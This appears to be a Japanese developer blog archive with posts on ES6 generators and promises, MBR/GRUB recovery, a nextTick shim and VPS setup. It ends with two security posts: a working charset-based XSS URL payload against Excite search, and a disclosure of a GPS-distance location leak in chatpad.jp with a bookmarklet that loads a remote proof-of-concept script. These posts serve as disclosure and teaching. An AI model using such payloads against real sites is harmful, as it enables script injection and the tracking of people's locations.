Google Chromeに入ったジェネレータとPromiseで非同期処理に革命が起きた

Google Chrome Canary(正確にはV8)に、ついにGenerators(yield)が入った。これを上手に使うと、エラー処理を含む非同期コードを同期的に書くことができるようになり、見通しが極めて良くなるので、ここで紹介する。

ここで紹介するものはいずれNode.jsでも使用できるようになるので、Webとの互換性を気にする必要のないNode.jsでは近いうちに活用できるようになると思う。

下のコードを動かすためには、最新のGoogle Chrome Canaryで、chrome://flagsからexperimental javascriptを有効にしておく必要がある。

ES6 HarmonyのGenerator構文について

functionではなくfunction*というキーワードを使うと、yieldキーワードが使えるようになる。

function* range(begin, end) {
  for (var i = begin; i < end; i++) {
    yield i;
  }
}

こうして作成したジェネレータは、for of構文を使って、

for (var n of range(0, 5)) {
  console.log(n);
}

として使うことができるが、今のところfor of構文は実装されていないようなので、まだ使えない。 手動でジェネレータを動かすこともでき、next/send/throwメソッドを使って、

var g = range(0, 2);
console.log(g.next());
console.log(g.next());
console.log(g.next());

console.log(g.next()); // Error: Generator has already finished

このように動かすこともできる。これは実装済み。send/throwは引数を一つ受け付け、それぞれ、yieldが返す値を指定するとき、yieldに例外を発生させたいときに使う。 詳しい仕様は http://wiki.ecmascript.org/doku.php?id=harmony:generators に載っているが、まあPythonのジェネレータとほとんど同じと思うと良いだろう。

非同期処理/Promiseとの組み合わせ

ジェネレータのすごいところは、関数を途中で止められるところである。この特性と、Promiseをを組み合わせると、非同期処理を同期的に書くことができる。 Promiseそのものの詳細については http://javascripter.hatenablog.com/entry/2012/12/30/232842 に書いた。

ここではPromiseの実装としてjQuery.Deferredを使うが、好きなものを使うと良いだろう。 はてブで指摘されたのでPromiseを修正 id:teppeis ++

// new Promise(function (resolve, reject) { resolve('hi'); }) -> promise
function Promise(setup) {
  var d = jQuery.Deferred();
  var p = d.promise();
  setup(d.resolve, d.reject);
  return p;
}

まず、後に定義するasync関数を使うと何ができるかを先に示す。 一番簡単な例だと、

function wait(ms) { return new Promise(function (resolve, reject) { setTimeout(resolve, ms); }); }

async(function* () {
  console.log('hi');

  yield wait(1000);

  console.log('this will appear after 1 sec');  
});

まず、waitを同期的に書けたのがわかる。これはジェネレータを使わないと

console.log('hi');
wait(1000).then(function () { console.log('this will appear after 1 sec'); });

である。

Promiseの結果を取得することもでき、非同期XMLHttpRequestは下記のように書ける。

function get(url) {
  return new Promise(function (resolve, reject) {
    var req = new XMLHttpRequest();
    req.open('GET', url, false);
    req.onload = function () {
      resolve(req);
    };
    req.onerror = function () {
      reject(req);
    };
    req.send(null);
  });
}

async(function* () {

  var res = yield get(location.href);
  var len = res.responseText.length;
  console.log('length is', len);

});

これはジェネレータ抜きだと

get(location.href).then(function (res) {
  var len = res.responseText.length;
  console.log('length is', len);
});

に対応する。 then(resolve, reject)のreject部はどう書けばいいのだろうか?同期処理と同じように

async(function* () {
  try {
    yield get(location.href);
  } catch (ex) {
    alert('could not fetch ' + location.href);
  }
});

と書けばよい。asyncはプロミスを返すので

async(function* () {
  yield get(location.href);
}).then(function () {}, function (ex) {
  // エラー処理はここで
});

とすることもできるし、実際のところ、yield promiseとするだけで完全に同期処理のように扱える。

var len = async(function* () {
 return (yield get(location.href)).responseText.length;
});

async(function* () {
  return (yield len) + 1;
}).then(function (val) {
  console.log(val);
}, function () {
  console.log('たぶんgetでエラーが発生した感じがする');
});

などの組み合わせも、期待通り動く。 さて、肝心のasync関数についてだが、

function isPromise(maybePromise) {
  return maybePromise && typeof maybePromise.then === 'function';
}

function isStopIteration(maybeStopIteration) {
  // ugly, but works well
  return maybeStopIteration && (
    typeof StopIteration === 'function' ?
      maybeStopIteration instanceof StopIteration :
      maybeStopIteration.message === 'Generator has already finished');
}


function async(thunk) {
  return new Promise(function (resolve, reject) {
    var thread = thunk();
    function proceed(method, result) {
      var returnValue;
      try {
        returnValue = thread[method](result);
      } catch (ex) {
        if (isStopIteration(ex)) {
          resolve(result);
        } else {
          reject(ex);
        }
        return;
      }

      if (isPromise(returnValue)) {
        returnValue.then(function (result) {
          proceed('send', result);
        }, function (result) {
          proceed('throw', result);
        });
      } else {
        // silently proceed
        proceed('send', returnValue);
      }
    }
    proceed('send', null);
  });
}

たったこれだけである。 ジェネレータを使い同期的に書いたコードもasyncが返す時にはPromiseになり、Promise自体を拡張する必要がないこと、同期/非同期をまぜてほぼ同じように書けること、NodeのDomainのようなこともasyncで囲うだけでできることを考えると、非常に筋がいいと思う。

参考

https://github.com/mozilla/task.js 少しoverkillな気がするが、同じコンセプトのもの。一年前から更新されてないし、どうなったのかな?という感じは多少する。

https://github.com/kriskowal/q Q.asyncが同じことをやろうとしているが、StopIterationがないのでGoogle Chromeでは動いていない。いずれ対応すると思われる。

コードをうごくように修正した。ちなみに、Firefoxはずいぶん前からGeneratorを実装していて、ES6の構文とは多少異なり独自仕様だが、task.jsはFirefoxで動くように作られているので、興味があったら動かしてみると良いだろう。

LinuxをUSBメモリブートしようとおもって間違えてMBRを上書きした場合

Windows8マシン上で作業をしているとやはりLinux環境が欲しくなることが多く、Windows自体は消したくないのでLinux MintUSBメモリに入れてデュアルブートしようと思った。 そうしたら失敗して何故かMBRが書き換えられてしまい、元から入っていたUEFIが消えてGrubになってしまった。GRUBでも起動すればいいのだが、GRUB自体もGUIが立ち上がらず

no device
grub-rescue: 

と出てきて、USBからもWindowsからも起動しなくなってしまった。grub-rescueのコンソールで修復しようと思い

ls
ls (hd1...)

などとしてもunknown file systemと出て、認識できるパーティションが一つもなかったので、別のLinux Live CDからやろうと思ったら起動しないし、そもそもLinuxからWIFIドライバも動かない状況で、なおかつリカバリディスクは付属せず別パーティションに入っていただけなので、リカバリもできず詰んだなと思ったが、意外な方法で解決できた(話が長い)。

電源+ボリュームアップをホールドし、BIOS設定に入り、Linuxを入れるためにDisabledにしたSecure bootをEnabledに戻し、再起動。

これで、unsignedなGRUBのロード自体がスキップされ、Windows8が起動する。意表をつくような方法だが、Windows8さえ起動すればあとはUSBメモリからリカバリディスクを作成し、ブートローダの修復も用意なので、あとは安心。

何か特殊な作業をする前は必ずバックアップを取るという原則をおろそかにしていると肝を冷やすことになるので、気をつけよう。

nextTick、setTimeout(fn, 0)の代わり

setTimeout(fn, 0)より高速な関数は最近はこんな感じのを使うといいと思う。

var nextTick;

if (typeof setImmediate === 'function') {
    nextTick = setImmediate;
} else if (typeof process === 'object' && typeof process.nextTick === 'function') {
    nextTick = process.nextTick;
} else if (typeof MessageChannel === 'function') {
    (function () {

        var channel = new MessageChannel();
        var queue = null;
        channel.port1.onmessage = function () {
            try {
                queue.fn(); 
            } finally {
                queue = queue.next;
            }
        };

        nextTick = function (fn) {
            queue = {
                fn: fn,
                next: queue
            };
            channel.port2.postMessage();
        };

    })();
} else {
    nextTick = function (fn) {
        setTimeout(fn, 0);
    };
}

処理を非同期化したい時に使うと良い。ブラウザでのアニメーション時はrequestAnimationFrame/setTimeoutを使うべきである。

Promises/Deferredsを使うとき

現状ではPromiseを生成する手段がライブラリによって異なるので、統一されたインターフェースを作ってそれを使うようにするとライブラリを自由に変更できて非常に便利である。

今のところ自分が考えた中で一番最大公約数的かつ便利な関数はこんなかんじ。

/*
A unified interface for Promises
   
The advantages of this interface are as follows:
- it does not require a Deferred concept so it can avoid the naming argument (fulfill or resolve)
- it clarifies that fulfill and reject functions can be used without Function#bind
- it allows extensions for both class-based and object-based promises
- extensions are local and can be done safely
- promise itself will be passed as `this`, and use of `this.then` inside will be safe for both extend(mixins, promise) and mixins.__proto__ = promise

promise function can pass `progress` as 3rd argument but arguments after 3rd are not expected as Promises are just try/catch semantics for the async
*/


// pass a setup function that receives fulfill and reject as arguments instead of making a deferred

var p = promise(function (fulfill, reject) {
  var tid = setTimeout(function () { fulfill(); }, 1000);
  return {
    cancel: function () {
      clearTimeout(tid);
      reject();
    },
    try: function (fn) {
      this.then(fn, null);
    }
  }; // allow for extensions for mix-ins here instead of extending Promise#prototype
});

p.try(function () {
  // will not be called as it will be cancelled!
}).cancel();

promise関数にsetup関数を渡すと引数としてresolve, reject関数が渡されて、setupのthisにはpromiseオブジェクトが入って、setupの返り値に渡すオブジェクトがpromiseの拡張に使われる。 promise関数の実装はjQueryだと

function promise(setup) {
  var d = jQuery.Deferred();
  var p = d.promise();
  return jQuery.extend(p, setup.call(p, d.resolve, d.reject));
}

になる気がして、まあだいたいどのライブラリ使ってても問題なくすぐにアダプターを書ける

僕とRackhubの15日間戦争(Rackhub試してみたメモ)

遠い昔に知人の自宅サーバを間借りしてサイトを作っていたのだがいつの間にオフラインになったのでMacBookで開発をしていたのだが、他人に何かを見せるときはURLがあると良いということで、VPSを借りることにした。 従量課金は不安だし、結局は遊びにしか使わないのでとりあえず動けば良い。 Skypeで知りあいの技術者に情報を募ったところ

とのことだったので、とりあえずRackhubを15日使うことにした。

まず、sshでログインした後node --versionしたら驚きのv0.6.15で、nvmで見てみると0.7くらいのちょい新しいのが入っていたけど、今は0.10.1の時代なので新しいのを入れようとした。しかしnvm install v0.10.1すると失敗するので、どうしようもないので

$HOME/.nvmを削除し、grep nvm $HOME/*し、パスが張られている部分を見つけてすべて除去し、nodebrewを入れた。

ただし、nodebrewもそのままでは0.10.1をコンパイルするとpythonが古いのが原因で失敗するので(また、binaryで入れるとnpmが入らないので注意)、pythonを新しくする。 pthon --versionしたら2.7.3で、pybrewで新しいもの( Python-3.2.3)に切り替えられるようだがうまくいかなかったので、alias python=python3してからnodebrewをやり直した。

さて、node + expressでとりあえずウェブアプリを動かそうと思い、express -eして、 PORT=80 node app.jsしたところ、portがエラーになった。検索するとapache/nginxなどほかのアプリがport 80を使用していなかったとしても、root以外はport 80(1000番台あたりのやつまで)をlistenできないそうなので、nodeは8080で動かし、nginxでリバースプロキシを張ることにした。参考にしたのは、https://gist.github.com/joemccann/644282 ただし、nginxは標準では動いていないので、とりあえずsudo nginxした。

nginxを通さない方法も試したが、やめた。これはiptablesで8080を80に飛ばす設定。 sudo apt-get install iptables sudo iptables -A PREROUTING -t nat -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080 失敗したような画面がでるが動くので気にしない。

nginxのバージョンを見るとWebSocketを通さない古いものだったので新しいものに入れようかと迷ったが、適当なアプリケーションを起動して確認すると、そもそもRackhubがWebSocketに対応していないことが判明した。とても残念。

WebSocketを使わなくてもsocket.ioの場合はxhr-pollingなどの代替手段が用意されているので特に問題はないが、コンソールでエラーが出る+初期の接続が遅くなるのでアプリ内で

io.configure(function () {
  io.set('transports', ['htmlfile', 'xhr-polling', 'jsonp-polling']);
});

とした。

その後、デーモン化するためにforeverを入れ、upstartに登録しようと思ったが、nginxもdaemonになっていなかったし、面倒くさくなったのでやめた。 そもそもRackhubの説明を見ると、パパっとつくったものをURL付きで簡単に公開できるというのがコンセプトなので、いまいち、用途が違うような気がしてきたので、とりあえず15日間遊んだらやめることにする。

文字コードとXSS

またXSSか、という感じではあるが、今日は文字コードに関連するXSSを紹介する。 エキサイトを例にとって説明する。エキサイトウェブ検索の&target=パラメータは、文字列を動的に埋め込んでいる。 例えば、

http://www.excite.co.jp/search.gw?search=1&target=xxx

にアクセスすると、ソースコードJavaScript

</div>
<script language="javascript">
<!--
var current_target = 'xxx';
function tabHilight(target){

xxxが埋め込まれる。 ただし、

http://www.excite.co.jp/search.gw?search=1&target=xxx'

とすると

<script language="javascript">
<!--
var current_target = 'xxx&apos;';
function tabHilight(target){

となることから、一見XSSはできないように思える。 しかし、

http://www.excite.co.jp/search.gw?search=1&target=xxx%22'%3C%3E%5C

にアクセスすると

<script language="javascript">
<!--
var current_target = 'xxx&quot;&apos;&lt;&gt;\';
function tabHilight(target){

となり、シンタックスエラーが発生するように、エスケープが完全ではない。 同様に、%0A、改行をパラメータに入れると、文字列内で改行されてしまいシンタックスエラーになる。 しかし、シングルクオートがエスケープされる以上、シンタックスエラーは起こせてもXSSを起こす事はできないように思われる。しかし、実際は可能なのである。

http://www.excite.co.jp/search.gw?search=1&target=xxxあ'%3Balert(/xss/.source)//

にアクセスすると、ソースコード

<script language="javascript">
<!--
var current_target = 'xxx縺';alert(/xss/.source)//';
function tabHilight(target){

となっており、XSSとアラート表示される。いったい何がおきたのだろうか。面倒くさくなったので詳細は省くが、上記XSSの仕組みが分からない人は調査すると良いだろう。ちなみに、エキサイトウェブ検索はSHIFT_JISである。

文字コードまわりはXSSを生み出しやすいので、気をつけるべきである。例えば、XHRで読み込む用にHTMLの断片を返すURLがある場合、その断片は

<meta charset="SHIFT_JIS">

などの文字コードを指定する情報が含まれていないので、ヘッダのContent-Typeをきちんと指定していない場合、URLパラメータに特定の文字コードにしか現れない文字列を入れるなどしてブラウザにそのページの文字コードを誤認識させ、上記XSSと同じような手法でスクリプトをインジェクトできることがある。

参考: UTF-8の動的コンテンツをShift_JISと誤認させることで成立するXSS - masa’s memo

GPS2点間距離を使用した住所特定の脆弱性

先日、非常に珍しい、GPSつかったチャットの脆弱性を発見したので、ここに注意もかねて書いておく。 簡単に言うと、WebSocketに生で自分でGPS座標を送り、相手との距離差を何度でも取得できる脆弱性で、離れてる、近いくらいしか分からないことを前提にGPS使用を許可してる時に〜町にいる、とわかってしまうという、聞いたことない感じの珍しい脆弱性である。websocketでイベント駆動にしてるとついうっかりステート管理があやふやになりがちである。

さて、下記は脆弱性の存在したchatpad.jpのサポートに送ったメールである。

Subject: GPSを使用した機能に関する脆弱性について

初めまして。いつも楽しくChatPad使わせて頂いております。
件名の通り、GPSに関する脆弱性を発見しました。これは相手の住所が相手の意図に反し
高精度(最大で市町村程度まで)特定できてしまうというもので、重大だと思われます。

* 経緯
先日スマートフォンでChatPadに訪れた際(sp.chatpad.jp)、
相手との距離が表示される機能があることに気がつきました。
「相手との大まかな距離が表示される」とのことで、住所が表示されるわけではないので
気軽に有効にできるという意図でつけられたものだと思いますが、いくつかの実験の後、
自分の居場所に関わらず相手の住所を高精度で特定できる手法があることに気づきました。

* 具体的な手法
サーバーに複数回フェイクのGPS座標を送りつけ、得た距離から逆算し、住所を得ます。
多くの場合2回、最大で3回座標を送るだけで相手のGPS座標が特定できます。
具体的には、latitude=0、longitude=0の位置から相手の距離を得ることで、
大西洋から同距離の円周上に相手の位置があることがわかります。
同様に(0, 90)、(90, 0)からの距離をサーバーに要求すると、x, y, z全て、
すなわち相手の座標を手に入れることが出来ます。

実証コードは下記です。
https://gist.github.com/javascripter/5109633
下記ブックマークレットをブラウザで実行するとチャットに住所が書き込まれます
javascript:s=document.body.appendChild(document.createElement('script'));s.charset='UTF-8';s.src="https://gist.github.com/javascripter/5109633/raw";void 0;

* 対策
直接的な対策は、同じルームに対して1度しか距離を返さないようサーバーのコードを修正することです。
これによって、近くにいない人が相手の居場所を手探りに特定することが困難になります。
もう一つ間接的な対策は、相手との距離が一定以下の場合にサーバー側で
ランダムに15km〜30km程度の誤差をもたせることです。これによって、
近所同士であっても相手の居場所が詳しく伝わりすぎることがなくなります。

* その他
上記に記載した脆弱性は、SQL Injectionなどの脆弱性と違いシステムにダメージを与えるものではありません。
XSSとも違い位置情報を得る以上のことはできません。
表示がkm単位であるため家が特定されるといったこともおそらくありません。


以上です。対応よろしくお願いします。

Safari系ブラウザでUAiPhoneに詐称した状態でsp.chatpad.jpにアクセスし、ブックマークレットを実行すると住所が取得できる状態にあった(2013年3月7日の夜頃) 修正され、1度しか距離が送られないようになった。(2013年3月8日夜頃)

id:qnighyが距離から位置を計算するエレガントな手法を教えてくれた。qnighy++